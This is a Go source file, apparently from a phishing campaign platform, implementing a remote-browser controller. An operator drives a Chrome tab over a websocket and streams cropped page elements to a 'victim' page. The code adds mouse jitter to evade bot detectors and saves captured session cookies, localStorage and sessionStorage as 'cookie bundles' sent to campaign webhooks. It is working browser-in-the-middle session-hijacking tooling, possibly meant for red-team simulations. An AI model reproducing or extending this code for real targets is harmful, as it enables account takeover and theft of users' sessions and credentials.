readFrameSource := func() func() *scFrame {
frameSrcMu.Lock()
defer frameSrcMu.Unlock()
return getFrame
}
// startOnPage points the operator at tab p: subscribes to p's shared screencast and
// (re)subscribes to its navigation events for the URL bar. The screencast itself is
// owned and shared by the session broker, so this never starts a second capture on a
// target a victim stream is already using.
startOnPage := func(p *rod.Page) {
if pageCancel != nil {
pageCancel()
}
setActivePage(p)
// Foreground the tab so Chrome doesn't throttle its rendering pipeline.
proto.TargetActivateTarget{TargetID: p.TargetID}.Call(p.Browser()) //nolint:errcheck
proto.PageBringToFront{}.Call(p) //nolint:errcheck
get, release := sess.scAcquire(p)
setFrameSource(get, release)
var pageCtx context.Context
pageCtx, pageCancel = context.WithCancel(streamCtx)
navPage := p.Context(pageCtx)
wait := navPage.EachEvent(
func(e *proto.PageFrameNavigated) (stop bool) {
if e.Frame != nil && e.Frame.ParentID == "" {
tabsMu.Lock()
if entry, ok := tabs[p.TargetID]; ok {
entry.url = e.Frame.URL
}
tabsMu.Unlock()
select {
case urlCh <- e.Frame.URL:
default:
}
}
return
},
func(e *proto.PageNavigatedWithinDocument) (stop bool) {
tabsMu.Lock()
if entry, ok := tabs[p.TargetID]; ok {
entry.url = e.URL
}
tabsMu.Unlock()
select {
case urlCh <- e.URL:
default:
}
return
},
)
go wait()
}
startOnPage(page)
defer func() {
if pageCancel != nil {
pageCancel()
}
frameSrcMu.Lock()
r := releaseFrame
frameSrcMu.Unlock()
if r != nil {
r()
}
}()
// Poll the current tab's shared screencast and forward changed frames to the write
// loop. Screencast frames are change-driven, so polling latest at ~60 Hz and skipping
// unchanged frames catches every repaint without a busy loop.
go func() {
ticker := time.NewTicker(16 * time.Millisecond)
defer ticker.Stop()
var lastData []byte
for {
select {
case <-streamCtx.Done():
return
case <-ticker.C:
get := readFrameSource()
if get == nil {
continue
}
f := get()
if f == nil || len(f.data) == 0 || bytes.Equal(f.data, lastData) {
continue
}
lastData = f.data
select {
case frameCh <- f:
default:
select {
case <-frameCh:
default:
}
select {
case frameCh <- f:
default:
}
}
}
}
}()
if info, err := page.Info(); err == nil && info.URL != "" {
tabsMu.Lock()
if e, ok := tabs[page.TargetID]; ok {
e.url = info.URL
}
tabsMu.Unlock()
if payload, err := json.Marshal(map[string]string{"type": "url", "value": info.URL}); err == nil {
conn.WriteMessage(websocket.TextMessage, payload) //nolint:errcheck
}
}
// Write loop hasn't started yet so it's safe to write directly here.
{
type tabMsg struct {
TargetID string `json:"targetID"`
URL string `json:"url"`
Active bool `json:"active"`
}
tabsMu.Lock()
list := make([]tabMsg, 0, len(tabs))
for tid, e := range tabs {
list = append(list, tabMsg{TargetID: string(tid), URL: e.url, Active: tid == page.TargetID})
}
tabsMu.Unlock()
if payload, err := json.Marshal(map[string]any{"type": "tabs", "tabs": list}); err == nil {
conn.WriteMessage(websocket.TextMessage, payload) //nolint:errcheck
}
}
go func() {
defer func() { recover() }() //nolint:errcheck
watchBrowser := page.Browser().Context(streamCtx)
wait := watchBrowser.EachEvent(
func(e *proto.TargetTargetCreated) bool {
info := e.TargetInfo
if info == nil || info.Type != proto.TargetTargetInfoTypePage {
return false
}
// Only track tabs whose opener is already in our tab map.
if info.OpenerID == "" {
return false
}
tabsMu.Lock()
_, openerKnown := tabs[proto.TargetTargetID(info.OpenerID)]
tabsMu.Unlock()
if !openerKnown {
return false
}
newPage, err := page.Browser().PageFromTarget(info.TargetID)
if err != nil {
return false
}
tabsMu.Lock()
tabs[info.TargetID] = &tabEntry{page: newPage, url: info.URL}
tabsMu.Unlock()
select {
case switchCh <- newPage:
default:
}
return false
},
func(e *proto.TargetTargetDestroyed) bool {
tabsMu.Lock()
delete(tabs, e.TargetID)
var fallback *rod.Page
for _, entry := range tabs {
fallback = entry.page
break
}
tabsMu.Unlock()
if ap := getActivePage(); ap != nil && ap.TargetID == e.TargetID && fallback != nil {
select {
case switchCh <- fallback:
default:
}
}
go sendTabList()
return false
},
func(e *proto.TargetTargetInfoChanged) bool {
info := e.TargetInfo
if info == nil || info.Type != proto.TargetTargetInfoTypePage {
return false
}
tabsMu.Lock()
if entry, ok := tabs[info.TargetID]; ok {
entry.url = info.URL
}
tabsMu.Unlock()
go sendTabList()
return false
},
)
wait()
}()
// switch_tab and close_tab are accepted in both view and control mode.
// Mouse/keyboard dispatch only runs in control mode.
go func() {
for {
_, msg, err := conn.ReadMessage()
if err != nil {
return
}
var header struct {
Type string `json:"type"`
TargetID string `json:"targetID"`
X1 float64 `json:"x1"`
Y1 float64 `json:"y1"`
X2 float64 `json:"x2"`
Y2 float64 `json:"y2"`
}
if json.Unmarshal(msg, &header) != nil {
continue
}
switch header.Type {
case "switch_tab":
tabsMu.Lock()
entry, ok := tabs[proto.TargetTargetID(header.TargetID)]
tabsMu.Unlock()
if ok {
select {
case switchCh <- entry.page:
default:
}
}
case "close_tab":
tabsMu.Lock()
entry, ok := tabs[proto.TargetTargetID(header.TargetID)]
tabsMu.Unlock()
if ok {
// TargetTargetDestroyed fires next; the EachEvent handler above
// removes the entry and switches to a fallback tab if needed.
proto.TargetCloseTarget{TargetID: proto.TargetTargetID(header.TargetID)}.Call(entry.page.Browser()) //nolint:errcheck
}
case "select_range":
if controlMode {
x1, y1, x2, y2 := header.X1, header.Y1, header.X2, header.Y2
go func() {
p := getActivePage()
if p == nil {
return
}
// Use caretRangeFromPoint to locate the exact text
// positions at the drag start and end, then build a
// Range and hand it to the Selection API. This is
// far more reliable than synthesised mousemove events
// for triggering Chrome's text selection engine.
js := fmt.Sprintf(`(function(){
var r1=document.caretRangeFromPoint(%f,%f);
var r2=document.caretRangeFromPoint(%f,%f);
if(!r1||!r2)return;
var range=document.createRange();
try{
if(r1.compareBoundaryPoints(Range.START_TO_START,r2)<=0){
range.setStart(r1.startContainer,r1.startOffset);
range.setEnd(r2.startContainer,r2.startOffset);
}else{
range.setStart(r2.startContainer,r2.startOffset);
range.setEnd(r1.startContainer,r1.startOffset);
}
var sel=window.getSelection();
sel.removeAllRanges();
sel.addRange(range);
}catch(e){}
})()`, x1, y1, x2, y2)
p.Eval("() => " + js) //nolint:errcheck
}()
}
case "get_selection":
if controlMode {
go func() {
p := getActivePage()
if p == nil {
return
}
res, err := p.Eval(`() => window.getSelection().toString()`)
if err != nil || res == nil {
return
}
payload, marshalErr := json.Marshal(map[string]string{
"type": "selection_text",
"text": res.Value.Str(),
})
if marshalErr != nil {
return
}
select {
case notifyCh <- payload:
default:
}
}()
}
default:
if controlMode {
m.dispatchInput(getActivePage(), msg)
}
}
}
}()
// lastFrameW/H track the last CSS viewport dimensions sent to the client so the
// frame_meta control message is only emitted when they change. -1 forces an
// initial send on the first frame.
lastFrameW, lastFrameH := float64(-1), float64(-1)
for {
select {
case <-page.GetContext().Done():
conn.WriteMessage(websocket.TextMessage, []byte(`{"type":"closed"}`)) //nolint:errcheck
return
case <-g.Request.Context().Done():
return
case newPage := <-switchCh:
startOnPage(newPage)
// p.Info() is a CDP round-trip; run it off the write loop.
go func(p *rod.Page) {
if info, err := p.Info(); err == nil && info.URL != "" {
tabsMu.Lock()
if e, ok := tabs[p.TargetID]; ok {
e.url = info.URL
}
tabsMu.Unlock()
if payload, err := json.Marshal(map[string]string{"type": "url", "value": info.URL}); err == nil {
select {
case notifyCh <- payload:
default:
}
}
}
sendTabList()
}(newPage)
case payload := <-notifyCh:
if err := conn.WriteMessage(websocket.TextMessage, payload); err != nil {
return
}
case u := <-urlCh:
payload, err := json.Marshal(map[string]string{"type": "url", "value": u})
if err != nil {
continue
}
if err := conn.WriteMessage(websocket.TextMessage, payload); err != nil {
return
}
case frame, ok := <-frameCh:
if !ok {
return
}
frameW, frameH := frame.devW, frame.devH
// The CSS viewport dimensions (used client side for input coordinate
// mapping) change rarely, so send them as a small control message only on
// change instead of wrapping every frame. The JPEG itself goes as a raw
// binary message with no base64 or JSON overhead.
if frameW != lastFrameW || frameH != lastFrameH {
lastFrameW, lastFrameH = frameW, frameH
if payload, err := json.Marshal(map[string]any{
"type": "frame_meta",
"width": frameW,
"height": frameH,
}); err == nil {
if err := conn.WriteMessage(websocket.TextMessage, payload); err != nil {
return
}
}
}
if err := conn.WriteMessage(websocket.BinaryMessage, frame.data); err != nil {
return
}
}
}
}
// dispatchInput routes a JSON input message from the admin WS into the browser via rod proto.
func (m *RemoteBrowserController) dispatchInput(page *rod.Page, msg []byte) {
var cmd struct {
Type string `json:"type"`
X float64 `json:"x"`
Y float64 `json:"y"`
Button string `json:"button"`
Buttons int64 `json:"buttons"` // bitmask of held buttons (left=1, right=2, middle=4)
DeltaX float64 `json:"deltaX"`
DeltaY float64 `json:"deltaY"`
Key string `json:"key"`
Code string `json:"code"`
KeyCode int64 `json:"keyCode"`
Modifiers int64 `json:"modifiers"`
CharText string `json:"charText"` // non-empty when keydown should also fire a char event
Text string `json:"text"` // paste payload
URL string `json:"url"` // navigate target
}
if json.Unmarshal(msg, &cmd) != nil {
return
}
btn := proto.InputMouseButtonLeft
if cmd.Button == "right" {
btn = proto.InputMouseButtonRight
}
mods := int(cmd.Modifiers)
zeroButtons := 0
nowTs := func() proto.TimeSinceEpoch {
return proto.TimeSinceEpoch(float64(time.Now().UnixNano()) / 1e9)
}
switch cmd.Type {
case "mousemove":
// Add ±1 px integer noise then round: keeps movementX == clientX-prevClientX
// consistent (subpixel CDP coordinates create a float/int mismatch detectors
// check), while still adding the ±1 px variation that breaks exact-integer paths.
jx := math.Round(cmd.X + (rand.Float64()*2-1)*0.5)
jy := math.Round(cmd.Y + (rand.Float64()*2-1)*0.5)
// Forward the browser's e.buttons bitmask so CDP sees held buttons during a drag.
// When the frontend does not send buttons (older messages), cmd.Buttons == 0 which
// is the correct "no button held" value for a plain mousemove.
heldButtons := int(cmd.Buttons)
// During a drag the CDP `button` field must name the held button so
// Chrome's text-selection engine recognises it as a drag-select, not a
// plain hover. Bit 1 = left, bit 2 = right.
moveButton := proto.InputMouseButtonNone
if heldButtons&1 != 0 {
moveButton = proto.InputMouseButtonLeft
} else if heldButtons&2 != 0 {
moveButton = proto.InputMouseButtonRight
}
proto.InputDispatchMouseEvent{
Type: proto.InputDispatchMouseEventTypeMouseMoved,
X: jx,
Y: jy,
Modifiers: mods,
Timestamp: nowTs(),
Button: moveButton,
Buttons: &heldButtons,
PointerType: proto.InputDispatchMouseEventPointerTypeMouse,
}.Call(page) //nolint:errcheck
case "mousedown":
// Buttons bitmask must match the button being pressed: left=1, right=2.
downButtons := 1
if cmd.Button == "right" {
downButtons = 2
}
proto.InputDispatchMouseEvent{
Type: proto.InputDispatchMouseEventTypeMousePressed,
X: cmd.X,
Y: cmd.Y,
Modifiers: mods,
Timestamp: nowTs(),
Button: btn,
Buttons: &downButtons,
ClickCount: 1,
PointerType: proto.InputDispatchMouseEventPointerTypeMouse,
}.Call(page) //nolint:errcheck
case "mouseup":
proto.InputDispatchMouseEvent{
Type: proto.InputDispatchMouseEventTypeMouseReleased,
X: cmd.X,
Y: cmd.Y,
Modifiers: mods,
Timestamp: nowTs(),
Button: btn,
Buttons: &zeroButtons,
ClickCount: 1,
PointerType: proto.InputDispatchMouseEventPointerTypeMouse,
}.Call(page) //nolint:errcheck
case "scroll":
proto.InputDispatchMouseEvent{
Type: proto.InputDispatchMouseEventTypeMouseWheel,
X: cmd.X,
Y: cmd.Y,
DeltaX: cmd.DeltaX,
DeltaY: cmd.DeltaY,
Modifiers: mods,
Timestamp: nowTs(),
PointerType: proto.InputDispatchMouseEventPointerTypeMouse,
}.Call(page) //nolint:errcheck
case "keydown":
proto.InputDispatchKeyEvent{
Type: proto.InputDispatchKeyEventTypeKeyDown,
Key: cmd.Key,
Code: cmd.Code,
WindowsVirtualKeyCode: int(cmd.KeyCode),
NativeVirtualKeyCode: int(cmd.KeyCode),
Modifiers: mods,
}.Call(page) //nolint:errcheck
if ct := cmd.CharText; ct != "" {
proto.InputDispatchKeyEvent{
Type: proto.InputDispatchKeyEventTypeChar,
Key: ct,
Text: ct,
UnmodifiedText: ct,
Modifiers: mods,
}.Call(page) //nolint:errcheck
}
case "keyup":
proto.InputDispatchKeyEvent{
Type: proto.InputDispatchKeyEventTypeKeyUp,
Key: cmd.Key,
Code: cmd.Code,
WindowsVirtualKeyCode: int(cmd.KeyCode),
NativeVirtualKeyCode: int(cmd.KeyCode),
Modifiers: mods,
}.Call(page) //nolint:errcheck
case "paste":
page.InsertText(cmd.Text) //nolint:errcheck
case "navigate":
if cmd.URL != "" {
page.Navigate(cmd.URL) //nolint:errcheck
}
case "back":
page.NavigateBack() //nolint:errcheck
case "forward":
page.NavigateForward() //nolint:errcheck
}
}
// saveCaptureEvent converts a remote browser capture payload to the same bundle
// format used by AITM captures and saves it as a CampaignEvent so it appears in
// the campaign timeline and can be exported to session replay tools.
func (m *RemoteBrowserController) saveCaptureEvent(
ctx context.Context,
req *http.Request,
campaignID *uuid.UUID,
recipientID *uuid.UUID,
captureValue interface{},
clientIP string,
userAgent string,
) {
// JSON round-trip so we have a consistent map[string]interface{} regardless of
// whether the value was a Go struct (network.Cookie) or already a map.
raw, err := json.Marshal(captureValue)
if err != nil {
return
}
var capture map[string]interface{}
if json.Unmarshal(raw, &capture) != nil {
return
}
// Build cookies map keyed by cookie name - matches the AITM cookie bundle format.
cookiesMap := map[string]interface{}{}
if arr, ok := capture["cookies"].([]interface{}); ok {
for _, c := range arr {
if cm, ok := c.(map[string]interface{}); ok {
name, _ := cm["name"].(string)
if name == "" {
continue
}
entry := map[string]string{
"name": name,
"value": stringField(cm, "value"),
"domain": stringField(cm, "domain"),
"path": stringField(cm, "path"),
"capture_time": time.Now().Format(time.RFC3339),
}
if b, _ := cm["secure"].(bool); b {
entry["secure"] = "true"
}
if b, _ := cm["httpOnly"].(bool); b {
entry["httpOnly"] = "true"
}
if ss, _ := cm["sameSite"].(string); ss != "" {
entry["sameSite"] = ss
}
// CDP returns expires as a float64 Unix timestamp; -1 means session cookie.
if exp, _ := cm["expires"].(float64); exp > 0 {
entry["expires"] = time.Unix(int64(exp), 0).UTC().Format(time.RFC3339)
}
cookiesMap[name] = entry
}
}
}
bundle := map[string]interface{}{
"capture_type": "cookie",
"source": "remote_browser",
"cookie_count": len(cookiesMap),
"bundle_time": time.Now().Format(time.RFC3339),
"session_complete": true,
"cookies": cookiesMap,
}
// include localStorage / sessionStorage if present
if ls, ok := capture["localStorage"]; ok && ls != nil {
bundle["localStorage"] = ls
}
if ss, ok := capture["sessionStorage"]; ok && ss != nil {
bundle["sessionStorage"] = ss
}
bundleJSON, err := json.Marshal(bundle)
if err != nil {
return
}
// Extract browser metadata (JA4, platform, accept-language) from the victim's
// WS upgrade request, gated on the campaign's SaveBrowserMetadata flag.
var metadata *vo.OptionalString1MB
if m.CampaignService != nil {
if campaign, err := m.CampaignRepository.GetByID(ctx, campaignID, &repository.CampaignOption{}); err == nil {
metadata = model.ExtractCampaignEventMetadataFromHTTPRequest(req, campaign)
}
}
if metadata == nil {
metadata = vo.NewEmptyOptionalString1MB()
}
submitDataEventID := cache.EventIDByName[data.EVENT_CAMPAIGN_RECIPIENT_SUBMITTED_DATA]
eventID := uuid.New()
event := &model.CampaignEvent{
ID: &eventID,
CampaignID: campaignID,
RecipientID: recipientID,
EventID: submitDataEventID,
Metadata: metadata,
IP: vo.NewOptionalString64Must(clientIP),
UserAgent: vo.NewOptionalString255Must(userAgent),
}
eventData, dataErr := vo.NewOptionalString1MB(string(bundleJSON))
if dataErr != nil {
m.Logger.Warnw("remote browser capture too large to save, truncating is not safe - skipping", "campaign_id", campaignID, "error", dataErr)
return
}
event.Data = eventData
if err := m.CampaignRepository.SaveEvent(ctx, event); err != nil {
return
}
if m.CampaignService != nil {
m.CampaignService.HandleWebhooks(ctx, campaignID, recipientID, data.EVENT_CAMPAIGN_RECIPIENT_SUBMITTED_DATA, bundle) //nolint:errcheck
}
}
func (m *RemoteBrowserController) saveInfoEvent(
ctx context.Context,
campaignID *uuid.UUID,
recipientID *uuid.UUID,
message string,
clientIP string,
userAgent string,
) {
infoEventID := cache.EventIDByName[data.EVENT_CAMPAIGN_RECIPIENT_INFO]
if infoEventID == nil {
return
}
payload := map[string]string{
"source": "remote_browser",
"message": message,
}
raw, err := json.Marshal(payload)
if err != nil {
return
}
eventData, dataErr := vo.NewOptionalString1MB(string(raw))
if dataErr != nil {
return
}
eventID := uuid.New()
event := &model.CampaignEvent{
ID: &eventID,
CampaignID: campaignID,
RecipientID: recipientID,
EventID: infoEventID,
Data: eventData,
IP: vo.NewOptionalString64Must(clientIP),
UserAgent: vo.NewOptionalString255Must(userAgent),
}
m.CampaignRepository.SaveEvent(ctx, event) //nolint:errcheck
}
// saveSubmitEvent saves arbitrary script-submitted data as a submitted_data campaign event.
// Unlike saveCaptureEvent (which expects a cookie/storage bundle), this accepts any
// JSON-serializable value passed to submitData() in the script.
func (m *RemoteBrowserController) saveSubmitEvent(
ctx context.Context,
req *http.Request,
campaignID *uuid.UUID,
recipientID *uuid.UUID,
submitValue interface{},
clientIP string,
userAgent string,
) {
submitDataEventID := cache.EventIDByName[data.EVENT_CAMPAIGN_RECIPIENT_SUBMITTED_DATA]
if submitDataEventID == nil {
return
}
bundle := map[string]interface{}{
"capture_type": "form_data",
"source": "remote_browser",
"data": submitValue,
}
bundleJSON, err := json.Marshal(bundle)
if err != nil {
return
}
var metadata *vo.OptionalString1MB
if m.CampaignService != nil {
if campaign, err := m.CampaignRepository.GetByID(ctx, campaignID, &repository.CampaignOption{}); err == nil {
metadata = model.ExtractCampaignEventMetadataFromHTTPRequest(req, campaign)
}
}
if metadata == nil {
metadata = vo.NewEmptyOptionalString1MB()
}
eventData, dataErr := vo.NewOptionalString1MB(string(bundleJSON))
if dataErr != nil {
m.Logger.Warnw("remote browser submitData payload too large to save", "campaign_id", campaignID, "error", dataErr)
return
}
eventID := uuid.New()
event := &model.CampaignEvent{
ID: &eventID,
CampaignID: campaignID,
RecipientID: recipientID,
EventID: submitDataEventID,
Data: eventData,
Metadata: metadata,
IP: vo.NewOptionalString64Must(clientIP),
UserAgent: vo.NewOptionalString255Must(userAgent),
}
if err := m.CampaignRepository.SaveEvent(ctx, event); err != nil {
return
}
if m.CampaignService != nil {
m.CampaignService.HandleWebhooks(ctx, campaignID, recipientID, data.EVENT_CAMPAIGN_RECIPIENT_SUBMITTED_DATA, bundle) //nolint:errcheck
}
}
// cropImagePNG crops src to the given region and returns lossless PNG bytes. Used to
// crop the streamed element out of an operator screencast frame so the victim only
// ever receives the element, never the full page. PNG avoids a second lossy pass on
// top of the operator frame's JPEG, so colors don't wash out during operator viewing.
func cropImagePNG(src image.Image, x, y, w, h int) ([]byte, error) {
b := src.Bounds()
if x < b.Min.X {
x = b.Min.X
}
if y < b.Min.Y {
y = b.Min.Y
}
if x+w > b.Max.X {
w = b.Max.X - x
}
if y+h > b.Max.Y {
h = b.Max.Y - y
}
if w <= 0 || h <= 0 {
return nil, fmt.Errorf("crop region out of bounds")
}
dst := image.NewRGBA(image.Rect(0, 0, w, h))
draw.Draw(dst, dst.Bounds(), src, image.Pt(x, y), draw.Src)
var buf bytes.Buffer
// BestSpeed keeps per-frame encode cheap; this path only runs while an operator
// is viewing, so latency matters more than a few extra bytes.
enc := png.Encoder{CompressionLevel: png.BestSpeed}
if err := enc.Encode(&buf, dst); err != nil {
return nil, err
}
return buf.Bytes(), nil
}
// buildStreamFrameMsg frames a cropped element JPEG for the victim WebSocket as a
// single binary message: [type=1][uint16 name length][name][jpeg bytes]. Sending the
// JPEG raw avoids the base64 inflation and per-frame JSON wrapping of a text message.
func buildStreamFrameMsg(name string, jpegData []byte) []byte {
nameBytes := []byte(name)
buf := make([]byte, 3+len(nameBytes)+len(jpegData))
buf[0] = 1
binary.BigEndian.PutUint16(buf[1:3], uint16(len(nameBytes)))
copy(buf[3:], nameBytes)
copy(buf[3+len(nameBytes):], jpegData)
return buf
}
// runNamedStream queries the element CSS bounding rect, then streams cropped frames to
// the victim WebSocket until streamCtx is cancelled or the connection closes.
//
// The crop rect is computed in JPEG pixels by scaling the CSS rect by the ratio of
// (JPEG frame dimensions / CSS viewport dimensions) taken from the first frame's metadata.
// This corrects for HiDPI displays and screencast downscaling where JPEG pixels ≠ CSS pixels.
func (m *RemoteBrowserController) runNamedStream(
streamCtx context.Context,
page *rod.Page,
sess *activeSession,
connMu *sync.Mutex,
conn *websocket.Conn,
selector string,
name string,
si *streamInfo,
) {
sendLog := func(msg string) {
payload, _ := json.Marshal(map[string]interface{}{"type": "log", "message": msg})
connMu.Lock()
conn.WriteMessage(websocket.TextMessage, payload) //nolint:errcheck
connMu.Unlock()
}
// Get element CSS bounding rect (values are in CSS pixels, scale-invariant via viewport).
res, err := page.Eval(fmt.Sprintf(`() => (function(){var el=document.querySelector(%q);if(!el)return null;var r=el.getBoundingClientRect();return JSON.stringify({x:r.left,y:r.top,w:r.width,h:r.height})})()`, selector))
if err != nil || res.Value.Str() == "" || res.Value.Str() == "null" {
sendLog(fmt.Sprintf("[stream:%s] element not found: %s", name, selector))
return
}
var cssRect struct{ X, Y, W, H float64 }
if err := json.Unmarshal([]byte(res.Value.Str()), &cssRect); err != nil || cssRect.W <= 0 || cssRect.H <= 0 {
sendLog(fmt.Sprintf("[stream:%s] element has zero dimensions: %s", name, selector))
return
}
si.setOrigin(cssRect.X, cssRect.Y)
// displayW/displayH: the element's CSS-pixel size (the victim canvas layout size).
// imageW/imageH: the cropped frame's pixel size, 0 until the first frame arrives.
displayW := int(cssRect.W + 0.5)
displayH := int(cssRect.H + 0.5)
imageW, imageH := 0, 0
streamPage := page.Context(streamCtx)
// Subscribe to the session's shared screencast for this page. Victim frames are
// always cropped from this one screencast, so the stream is identical whether or not
// an operator is also viewing — no operator-presence leak. releaseSC stops the
// screencast once this and every other consumer of the target has gone.
getFrame, releaseSC := sess.scAcquire(page)
defer releaseSC()
// fps caps how often we crop and send. Unbounded (0) would spin the loop, so default
// to a smooth but cheap rate for a single element.
fps := si.maxFps
if fps <= 0 {
fps = 30
}
// sendStreamStart tells the victim page the current image and CSS dimensions so it
// can size its canvas. Sent on the first frame and whenever the dimensions change.
sendStreamStart := func() {
startPayload, _ := json.Marshal(map[string]interface{}{
"type": "stream_start",
"name": name,
"width": imageW,
"height": imageH,
"cssWidth": displayW,
"cssHeight": displayH,
})
connMu.Lock()
conn.WriteMessage(websocket.TextMessage, startPayload) //nolint:errcheck
connMu.Unlock()
}
// requeryRect re-reads the element rect, updating the crop origin. Element moves and
// resizes are followed automatically; a size change re-sends stream_start below.
requeryRect := func() {
res, err := streamPage.Eval(fmt.Sprintf(`() => (function(){var el=document.querySelector(%q);if(!el)return null;var r=el.getBoundingClientRect();return JSON.stringify({x:r.left,y:r.top,w:r.width,h:r.height})})()`, selector))
if err != nil || res.Value.Str() == "" || res.Value.Str() == "null" {
return
}
var r struct{ X, Y, W, H float64 }
if err := json.Unmarshal([]byte(res.Value.Str()), &r); err != nil || r.W <= 0 || r.H <= 0 {
return
}
cssRect = struct{ X, Y, W, H float64 }{r.X, r.Y, r.W, r.H}
si.setOrigin(cssRect.X, cssRect.Y)
}
// captureElement crops the current element out of the latest shared screencast frame
// and returns lossless PNG, its pixel dimensions, and the visible CSS dimensions.
// Cropping server side means the victim only ever receives the element, never the
// full page.
captureElement := func() ([]byte, int, int, int, int, bool) {
f := getFrame()
if f == nil || len(f.data) == 0 {
return nil, 0, 0, 0, 0, false
}
src, decErr := jpeg.Decode(bytes.NewReader(f.data))
if decErr != nil {
return nil, 0, 0, 0, 0, false
}
jw, jh := src.Bounds().Dx(), src.Bounds().Dy()
devW, devH := f.devW, f.devH
if devW <= 0 {
devW = float64(jw)
}
if devH <= 0 {
devH = float64(jh)
}
sx, sy := float64(jw)/devW, float64(jh)/devH
// Only the visible viewport is captured, so clamp the streamed region to the
// element's visible intersection with the viewport. Without this, streaming an
// element taller/wider than the viewport (e.g. <body>) sizes the canvas to the
// element's full scroll size while the bitmap only holds the visible part, which
// stretches and blurs it. vx/vy/vw/vh are the visible region in CSS pixels.
vx := math.Max(cssRect.X, 0)
vy := math.Max(cssRect.Y, 0)
vw := math.Min(cssRect.X+cssRect.W, devW) - vx
vh := math.Min(cssRect.Y+cssRect.H, devH) - vy
if vw <= 0 || vh <= 0 {
return nil, 0, 0, 0, 0, false
}
si.setOrigin(vx, vy)
si.setScale(sx, sy)
cw := int(vw*sx + 0.5)
ch := int(vh*sy + 0.5)
cropped, cropErr := cropImagePNG(src, int(vx*sx), int(vy*sy), cw, ch)
if cropErr != nil {
return nil, 0, 0, 0, 0, false
}
return cropped, cw, ch, int(vw + 0.5), int(vh + 0.5), true
}
// Adaptive polling: capture at fastInterval while the element is changing and back
// off to idleInterval once it has been static for a short streak. Interactive
// elements stay smooth while a static one barely costs anything; the rate snaps
// back to fast the instant a frame differs.
fastInterval := time.Second / time.Duration(fps)
idleInterval := 200 * time.Millisecond
if idleInterval < fastInterval {
idleInterval = fastInterval
}
const backoffAfter = 10 // consecutive unchanged frames before slowing down
ticker := time.NewTicker(fastInterval)
defer ticker.Stop()
atFastRate := true
unchanged := 0
var lastRectCheck time.Time
var lastFrame []byte // last JPEG sent, to skip resending unchanged frames
for {
select {
case <-streamCtx.Done():
stopPayload, _ := json.Marshal(map[string]string{"type": "stream_stop", "name": name})
connMu.Lock()
conn.WriteMessage(websocket.TextMessage, stopPayload) //nolint:errcheck
connMu.Unlock()
return
case <-ticker.C:
// Periodically re-check the element rect for moves or resizes (CSS
// transitions, responsive reflow, popups).
if time.Since(lastRectCheck) >= 250*time.Millisecond {
lastRectCheck = time.Now()
requeryRect()
}
if cssRect.W <= 0 || cssRect.H <= 0 {
continue
}
data, iw, ih, dw, dh, ok := captureElement()
if !ok {
continue
}
// Notify the victim when the image or visible CSS dimensions change (element
// resize, scroll bringing more/less of it into view, viewport change).
if iw != imageW || ih != imageH || dw != displayW || dh != displayH {
imageW, imageH = iw, ih
displayW, displayH = dw, dh
sendStreamStart()
}
// Skip the send when the frame is byte-for-byte unchanged (JPEG of identical
// pixels is deterministic) and slow the capture rate after a static streak;
// resume fast capture the instant a frame differs.
if bytes.Equal(data, lastFrame) {
unchanged++
if unchanged == backoffAfter && atFastRate {
atFastRate = false
ticker.Reset(idleInterval)
}
continue
}
unchanged = 0
if !atFastRate {
atFastRate = true
ticker.Reset(fastInterval)
}
lastFrame = data
connMu.Lock()
writeErr := conn.WriteMessage(websocket.BinaryMessage, buildStreamFrameMsg(name, data))
connMu.Unlock()
if writeErr != nil {
return
}
}
}
}
func stringField(m map[string]interface{}, key string) string {
v, _ := m[key].(string)
return v
}